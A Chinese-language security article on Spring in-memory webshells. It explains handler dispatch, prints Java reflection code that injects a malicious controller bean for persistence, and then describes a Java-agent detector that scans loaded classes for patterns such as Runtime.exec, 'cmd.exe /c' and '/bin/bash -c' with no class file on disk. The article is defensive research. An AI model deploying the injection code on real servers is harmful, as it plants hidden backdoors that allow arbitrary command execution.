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木马或是内存马，都是攻击者在“后门阶段”的一种利用方式。按攻击者的攻击套路顺序，“后门阶段”一般是在攻击者“拿到访问权”或是“提权”之后的下一步动作，也叫“权限维持”。
业界通常将木马的种类划分成“有文件马”和“无文件马”两类。“有文件马”也就是我们常见的“二进制木马、网马”；“无文件马”是无文件攻击的一种方式，其常见的类型有：内存马、隐蔽恶意代码启动等。
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DispatcherServlet.java protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception { HttpServletRequest processedRequest = request; HandlerExecutionChain mappedHandler = null; boolean multipartRequestParsed = false; WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request); try { ModelAndView mv = null; Exception dispatchException = null; try { // Determine handler adapter for the current request. HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler()); // Process last-modified header, if supported by the handler. ... // Actually invoke the handler. mv = ha.handle(processedRequest, response, mappedHandler.getHandler()); if (asyncManager.isConcurrentHandlingStarted()) { return; } applyDefaultViewName(processedRequest, mv); mappedHandler.applyPostHandle(processedRequest, response, mv); } catch (Exception ex) { dispatchException = ex; } processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException); } .... } |
从上面可以看到通过getHandler获取HandlerExecutionChain,获取处理器适配器HandlerAdapter执行HandlerAdapter处理一系列的操作，如：参数封装，数据格式转换，数据验证等操作。
然后执行
handler
ha.handle(processedRequest, response, mappedHandler.getHandler());
最后返回直接结果。
获取Handler过程中发现会从
AbstractHandlerMethodMapping#lookupHandlerMethod（）
方法获取对应 MappingRegistry() 中的HandlerMethod。
MappingRegistry有对应的开放的注册方法：
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protected void detectHandlerMethods(final Object handler) { Class<?> handlerType = (handler instanceof String ? getApplicationContext().getType((String) handler) : handler.getClass()); final Class<?> userType = ClassUtils.getUserClass(handlerType); Map<Method, T> methods = MethodIntrospector.selectMethods(userType, new MethodIntrospector.MetadataLookup<T>() { @Override public T inspect(Method method) { return getMappingForMethod(method, userType); } }); if (logger.isDebugEnabled()) { logger.debug(methods.size() + " request handler methods found on " + userType + ": " + methods); } for (Map.Entry<Method, T> entry : methods.entrySet()) { registerHandlerMethod(handler, entry.getKey(), entry.getValue()); } } protected void registerHandlerMethod(Object handler, Method method, T mapping) { this.mappingRegistry.register(mapping, handler, method); } |
如此便可以使用springContext动态注入HandlerMethod。
注入代码：
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//使用自定义类加载拉起 ThreatClass.clss MyClassLoad myClassLoad = new MyClassLoad("D:\javadeps\attck\", ClassLoader.getSystemClassLoader()); byte[] data = myClassLoad.findClassInStream("com.safedog.controller.ThreatClass"); Class<?> aClass = myClassLoad.defineClasses("com.safedog.controller.ThreatClass", data, 0, data.length); //获得springContext GenericApplicationContext context = (GenericApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 注入bean String dynamicControllerBeanName = "testController"; try{ context.getBean(dynamicControllerBeanName); }catch (Exception e){ context.getBeanFactory().registerSingleton(dynamicControllerBeanName, aClass.newInstance()); } org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class); java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class); m1.setAccessible(true); //执行detectHandlerMethods注入hander m1.invoke(requestMappingHandlerMapping, "testController"); |
ThreatClass：
内存马注入后执行任意命令：
流程图：
1、使用java Agent探针动态注入防御agent到应用进程中：
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public static void attach(String jvm_pid, String agent_jar_path) throws Exception { VirtualMachine virtualMachine = null; VirtualMachineDescriptor virtualMachineDescriptor = null; for (VirtualMachineDescriptor descriptor : VirtualMachine.list()) { String pid = descriptor.id(); if (pid.equals(jvm_pid)) { virtualMachineDescriptor = descriptor; break; } } try { if (null == virtualMachineDescriptor) { virtualMachine = VirtualMachine.attach(jvm_pid); } else { virtualMachine = VirtualMachine.attach(virtualMachineDescriptor); } virtualMachine.loadAgent(agent_jar_path); } catch (Throwable t) { t.printStackTrace(); } finally { if (null != virtualMachine) { virtualMachine.detach(); } } } |
2、被注入的agent（符合jvm规范），JVM会回调agentmain方法并注入Instrumentation。Instrumentation中有一个api能够加载出运行时JVM中所有的class
public Class[] getAllLoadedClasses() {
return this.getAllLoadedClasses0(this.mNativeAgent);
}
private native Class[] getAllLoadedClasses0(long var1);
3、拿到运行时的类根据高风险父类、接口、注解做扫描，把扫描到的类反编译为明文的java文件
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CfrDriver driver = new CfrDriver.Builder().withOptions(options).withOutputSink(mySink).build(); List<String> toAnalyse = new ArrayList<String>(); toAnalyse.add(classFilePath); driver.analyse(toAnalyse); |
4、发现明显的敏感操作
Runtime.getRuntime().exec()
cmd.exe /c
/bin/bash -c
且磁盘源class文件不存在
URL url = clazz.getClassLoader().getResource(classNamePath);
url为空磁盘上没有对应文件
证明此classs就是内存木马并记录
5、卸载自身实例
风险父类
org.springframework.web.method.HandlerMethod
风险接口
org.springframework.web.HttpRequestHandler
风险注解
org.springframework.stereotype.Controller;
org.springframework.web.bind.annotation.RestController;
org.springframework.web.bind.annotation.RequestMapping;
org.springframework.web.bind.annotation.GetMapping;
org.springframework.web.bind.annotation.PostMapping;
org.springframework.web.bind.annotation.PatchMapping;
org.springframework.web.bind.annotation.PutMapping;
org.springframework.web.bind.annotation.Mapping
本文始发于微信公众号（海青安全研究实验室）：Spring内存木马检测思路
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